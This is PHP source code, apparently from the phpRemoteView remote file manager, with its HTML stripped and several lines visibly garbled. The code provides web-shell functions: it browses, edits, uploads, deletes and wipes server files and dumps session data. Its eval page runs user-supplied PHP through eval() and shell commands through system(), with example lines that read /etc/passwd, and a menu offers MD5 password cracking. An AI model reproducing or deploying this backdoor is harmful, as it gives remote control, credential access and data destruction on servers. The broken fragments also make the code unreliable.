| $sf1";
$home="*";
echo $home.$sf2."";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo " ";
$path=explode("/",$d);
$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";
$ss="";
for ($i=0; $i |
|
|
".mm("Sorry, this programm run in read-only mode.")." ".mm("For full access: write")." ` |
| |
|
";
$GLOBALS['obb_flag']=0;
}
}
function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}
function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}
///////////////////////////////////////////////////////////////////////////
switch($c) {
// listing
case "l":
echo $GLOBALS['html'];
if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start").".");
//up($d);
ob();
$di=dir($d);
obb();
$dirs=array();
$files=array();
if (!$di) exit("
". "".mm("access denied").": $obb"); while (false!==($name=$di->read())) { if ($name=="." || $name=="..") continue; if (@is_dir($d.$name)) { $dirs[]=strval($name); $fstatus[$name]=0; } else { $files[]=strval($name); $fstatus[$name]=1; } $fsize[$name]=@filesize($d.$name); $ftype[$name]=@filetype($d.$name); if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; } $fperms[$name]=@fileperms($d.$name); $fmtime[$name]=@filemtime($d.$name); $fatime[$name]=@fileatime($d.$name); $fctime[$name]=@filectime($d.$name); $fowner[$name]=@fileowner($d.$name); $fgroup[$name]=@filegroup($d.$name); if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) $fext[$name]=strtolower($ok[1]); else $fext[$name]=""; } $di->close(); $listsort=array(); if (count($dirs)) foreach ($dirs as $v) { switch ($cc[0]) { case "e": $listsort[$v]=$fext[$v].' '.$v; break; case "n": $listsort[$v]=strtolower($v); break; default: switch ($cn[$cc[0]]) { case "t": case "s": case "n": $listsort[$v]=strtolower($v); break; case "o": $listsort[$v]=$fowner[$v]; break; case "g": $listsort[$v]=$fgroup[$v]; break; case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; case "c": $listsort[$v]=$fperms[$v]; break; case "1": $listsort[$v]=$fctime[$v]; break; case "2": $listsort[$v]=$fmtime[$v]; break; case "3": $listsort[$v]=$fatime[$v]; break; } } } $names=$listsort; //echo "
";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "";print_r($names);
$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
//echo "DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "FILES:"; print_r($listsort);
//echo "NAMES:"; print_r($names);
?>
";
if (strlen($d)>$gr && $i>0 && $i+1$gr) {
$out.="••";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/";
}
return $out;
return "$d";
}
$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');
echo "\n\n\n\n\n\n";
//phpinfo();
//echo implode(" | ",$cp);
echo '
';
echo "
".mm("Setup")." |
PHP eval |
phpinfo() |
Shell |
".mm("Char map")." |
".mm("Language").":
".mm("English")."/".mm("Russian")."
!
phpRemoteView © Dmitry Borodin (".mm("version")." $version)
".mm("Free download")." - http://php.spb.ru/remview/
";
break;
case "set":
switch ($c2) {
case "sort":
$name=intval($name);
if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
$cc[0]=$name;
break;
case "panel":
$cn='';
foreach ($names as $k=>$v) {
if ($v!="") $cn.=substr($v,0,1);
}
$cc[0]=substr($sort,0,1);
$cc[1]=substr($sortby,0,1);
$cp[2]=substr($datetime,0,50);
$cp[3]=substr($fontname,0,50);
$cp[4]=substr($fontsize,0,50);
//exit("cn=$cn
cc=$cc");
break;
case "eng":
$cc[5]=1;
break;
case "rus":
$cc[5]=2;
break;
}
$cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
if ($c2=="reset") $cookie=implode("~",$cp_def);
//echo "";
setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
header("Location: $ref");
echo "";
//echo "[$ref]";
//phpinfo();
break;
case "setup":
echo $GLOBALS['html'];
echo "phpRemoteView ".mm("setup")." [".mm("back")."]
";
echo "";
echo "
".mm("Reset all settings").": ".mm("clear")."";
echo " (".mm("Current").": ".implode(" | ",$cp).")";
echo "
";
echo "
";
break;
// view
case "v":
if (!isset($fnot)) $fnot=0;
if (!isset($ftype)) $ftype=0;
if ($fnot==0) {
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
echo "
";
}
if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("".mm("access denied")."");
if ($ftype==0 || $ftype==4) {
$buf=fread($fi,max(filesize($d.$f),$maxsize_fread));
fclose($fi);
}
switch ($ftype) {
case 0:
echo "
".htmlspecialchars($buf)."
";
break;
case 1:
readfile($d.$f);
break;
case 2:
header("Content-type: image/gif");
readfile($d.$f);
break;
case 3: // download
if (isset($fatt) && strlen($fatt)>0) {
$attach=$fatt;
header("Content-type: text/plain");
}
else {
$attach=$f;
header("Content-type: phpspbru");
}
header("Content-disposition: attachment; filename=\"$attach\";");
readfile($d.$f);
break;
case 4: // session
echo "";
if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) {
ini_set("session.save_path",$d);
session_id($ok[1]);
session_start();
var_dump($HTTP_SESSION_VARS);
}
else {
print_r(unserialize($buf));
}
echo "
";
}
break;
case "i": // information for FILE
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found"));
echo "".htmlspecialchars($d.$f)."
";
echo "
";
echo "".mm("Size")." ".filesize($d.$f)." ".mm("Owner")."/".mm("Group")." ";
$tmp=@_posix_getpwuid(fileowner($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
else echo $tmp['name']." ";
$tmp=@_posix_getgrgid(filegroup($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
else echo $tmp['name'];
echo " ".mm("FileType")." ".filetype($d.$f)." ".mm("Perms")." ".display_perms(fileperms($d.$f))." ".mm("Create time")." ".date("d/m/Y H:i:s",filectime($d.$f))." ".mm("Access time")." ".date("d/m/Y H:i:s",fileatime($d.$f))." ".mm("MODIFY time")." ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
$fi=@fopen($d.$f,"rb");
if ($fi) {
$str=fread($fi,$hexdump_lines*$hexdump_rows);
echo "".mm("HEXDUMP PREVIEW")."";
$n=0;
$a0="00000000
";
$a1="";
$a2="";
for ($i=0; $i";
$a1.="
";
$a2.="
";
}
}
//if ($a1!="") $a0.=sprintf("%08X",$i)."
";
echo "$a0 ".
"$a1 $a2
";
}
echo "Base64:
[Encode]
[+chunk]
[+chunk+quotes]
[Decode]
";
if (!$write_access) exitw();
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS").")";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied").")";
else fclose($fi);
if ($msg=="") $msg=" (".mm("full read/write access").")";
echo "".mm("FILE SYSTEM COMMANDS")."$msg
";
echo "
".mm("EDIT")."
".mm("FILE")."
";
echo "";
echo "
";
echo "
";
echo "
";
break;
case "base64":
echo "\n";
$ff=fopen($d.$f,"rb") or exit("access denied");
$text=fread($ff,max(filesize($d.$f),$maxsize_fread));
fclose($ff);
switch ($c2) {
case 0:
echo base64_encode($text);
break;
case 1:
echo chunk_split(base64_encode($text));
break;
case 2:
$text=base64_encode($text);
echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2);
break;
case 3:
echo base64_decode($text);
break;
}
break;
case "d": // information for DIRECTORY
echo $GLOBALS['html'];
up($d,"","Directory");
echo "<<<".mm("back to directory")." >>> ";
echo "
";
//up_link($d,"");
if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found"));
echo "
";
echo "";
echo " ".mm("Owner")."/".mm("Group")." ";
$tmp=@_posix_getpwuid(fileowner($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
else echo $tmp['name']." ";
$tmp=@_posix_getgrgid(filegroup($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
else echo $tmp['name'];
echo " ";
echo mm("Perms")." ".display_perms(fileperms($d.$f))." ";
echo mm("Create time")." ".date("d/m/Y H:i:s",filectime($d.$f))." ";
echo mm("Access time")." ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
echo mm("MODIFY time")." ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
echo "
";
if (!$write_access) exitw();
echo "".mm("FILE SYSTEM COMMANDS")."
";
echo "
";
echo "
";
echo "
";
echo "
";
break;
case "tree":
$tcolors=array(
'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98',
'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e');
function dir_tree($df,$level=0) {
global $tcolors,$self;
$df=str_replace("//","/",$df);
$dirs=array();
$files=array();
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
$dirs[]=$file;
}
else {
$files[]=$file;
}
}
}
closedir($dir);
sort($dirs);
sort($files);
$i=min($level,count($tcolors)-1);
$c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2];
echo "\r\n\r\n\r\n
".
"
".
$df." ";
for ($i=0; $i
';
}
echo "
";
echo $GLOBALS['html'];
up($d,"","Directory");
echo "<<<".mm("back to directory")." >>> ";
echo "";
dir_tree($d);
break;
case "delete":
if (!$write_access) exitw();
if (!isset($c2)) exit("err# delete 1");
if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)")."");
echo "<<<".mm("back to directory")." >>>
";
if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
exit("".mm("Delete cancel - File not found")."");
if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
exit(mm("Do you want delete this script (phpRemoteView) ???")."
[".mm("YES").", ".mm("DELETE")." ".mm("ME")."]
[".mm("NO (back)")."]");
switch ($c2) {
case "delete":
//exit("$d $f");
ob();
if (!unlink($d.$f))
obb().exit("".mm("Delete cancel")." - ".mm("ACCESS DENIED")."$obb");
Header("Location: $self?c=l&d=".urlencode($d));
echo "
";
echo "".mm("Delete ok")."";
break;
case "touch":
ob();
if (!touch($d.$f))
obb().exit("".mm("Touch cancel")." - ".mm("ACCESS DENIED")."$obb");
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "".mm("done (go back)")."!
";
echo "".mm("Touch ok (set current time to 'modify time')")."";
break;
case "clean":
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")."obb");
ftruncate($fi,0);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "".mm("done (go back)")."!
";
echo "".mm("Clean ok (file now empty)")."";
break;
case "wipe":
$size=filesize($d.$f);
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("".mm("Wipe cancel - access denied")."$obb");
$str=md5("phpspbru".mt_rand(0,999999999).time());
for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
for ($i=0; $i".mm("done (go back)")."!";
echo "".mm("Wipe ok (file deleted)")."";
break;
}
//Header("Location: $self?c=l&d=".urlencode(dirname($df)));
//echo "SAVE NEW FILE DONE (go back)!";
break;
case "dirdelete":
if (!$write_access) exitw();
function dir_delete($df) {
echo "".basename($df)."
";
if ($dir=opendir($df)) {
$i=0;
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
dir_delete($df."/".$file);
}
else {
echo "$file
";
echo "".mm("DELETE")." $df/$file ...
";
unlink($df."/".$file);
}
$i++;
}
//if ($i==0) echo "-empty-
";
}
closedir($dir);
echo "
";
echo "".mm("DELETE")." ".mm("DIR")." $df ...
";
rmdir("$df/$file");
}
if (!isset($c2)) exit("error dirdelete 1");
if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!");
$df="$d";
switch ($c2) {
case "files":
echo "".mm("Deleting all files in")." $df ...
";
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir($df.$file)) {
echo ">$file ".mm("skip").": ".filetype($df.$file)."
";
}
elseif (is_file($df.$file)) {
echo "$file ".mm("deleting")."...";
unlink($df.$file);
echo "
";
}
else {
echo "$file ".mm("skip").": ".filetype($df.$file)."
";
}
}
}
closedir($dir);
$ref="$self?c=l&d=".urlencode($d);
break;
case "dir":
echo "".mm("Deleting all dir/files (recursive) in")." $df ...
";
dir_delete($df);
$ref="$self?c=l&d=".urlencode(realpath($d."/.."));
break;
}
//header("Location: $ref");
echo "".mm("DONE, go back")."";
break;
case "copy":
if (!$write_access) exitw();
if (!isset($from) || !@file_exists($from) || !@realpath($from))
exit("err# copy 1, file [$from] not found");
if (!isset($to) || strlen($to)==0)
exit("err# copy 2, file [$to] not found");
echo "Copy: ....
";
if (!copy($from,$to)) {
echo "
Error!";
echo "View ".dirname($from)."";
}
else
echo "".mm("DONE")."!
";
echo "View ".dirname($from)." (dir 'from')
";
echo "View ".dirname($to)." (dir 'to')
";
break;
case "e": // edit
if (!$write_access) exitw();
if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)").")";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)").")";
else fclose($fi);
if ($msg=="") $msg="(".mm("full read/write access").")";
echo "
".mm("EDIT FILE")." $msg
";
if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied")."");
echo "
";
break;
case "e_submit":
if (!$write_access) exitw();
if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
if (!isset($text)) exit("err# e_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "SAVE DONE (go back)!";
break;
case "newfile_submit":
if (!$write_access) exitw();
if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=l&d=".urlencode(dirname($df)));
echo "SAVE NEW FILE DONE (go back)!";
break;
case "fileupload_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newfile_submit 1");
if (!isset($df3)) exit("err# newfile_submit 2");
$fname="";
if (isset($df2)) {
if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
exit("Upload failed: can't detect file name");
}
$fname=$ok[1];
}
else {
$fname=$df3;
}
if ($fname=="")
exit("".mm("You mast checked 'create file name automatic' OR typed file name!")."");
if (isset($df4)) $fname=strtolower($fname);
echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."
";
echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."
";
echo "File size: ".$HTTP_POST_FILES['userfile']['size']."
";
if ($df[strlen($df)-1]!="/") $df.="/";
echo "".mm("SAVING TO").": $df$fname
";
ob();
$ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
obb();
if (!$ok) exit("".mm("Sorry, access denied")." $obb");
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "NEW FILE SAVED";
break;
case "newdir_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newdir_submit 1");
ob();
if (!mkdir($df,$mkdir_mode)) {
obb();
exit("Access denied $obb");
}
obb();
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "Go to new directory!";
break;
case "t":
echo "
START PAGE |
Eval/Shell |
Character map
";
if (!$write_access) exitw();
error_reporting(2038);
if (!isset($php)) {
$php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
$skipphp=1;
$pre='checked';
$nlbr='';
$xmp='';
$htmls='checked';
}
echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
";
if (!isset($shell)) $skipshell=1;
if (!isset($skipphp)) {
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($pre<>'') echo "";
if ($xmp<>'') echo "";
if ($nlbr<>'' || $htmls<>'') {
ob_start();
}
if ($phpeval_access) eval($php);
else die("Sorry, function eval() disabled.");
if ($nlbr<>'' || $htmls<>'') {
$tmp=ob_get_contents();
ob_end_clean();
if ($htmls<>'') $tmp=htmlspecialchars($tmp);
if ($nlbr<>'') $tmp=nl2br($tmp);
echo $tmp;
}
if ($xmp<>'') echo " ";
if ($pre<>'') echo "";
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
echo "
";
}
if (!isset($shell)) {
$shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
$skipshell=1;
}
echo "".mm("Shell commands")."
";
if (!isset($skipshell)) {
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($system_access) system($shell);
else die("Sorry, function system() disabled.");
echo " \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
";
}
$ttype=array(1=>"MD5",7=>"Decode MD5 (password crack)
",
2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes",
5=>"Decode Base64
",
6=>"UnixTime=>Date(".time().")",
8=>"MKtime: YYYY MM DD [hh [mm [ss]]]
",
9=>"Translit=>RusText", 14=>"RusText=>Translit
",
10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=>cp1251",
15=>"koi8r=>mac",16=>"mac=>koi8r",
);
echo "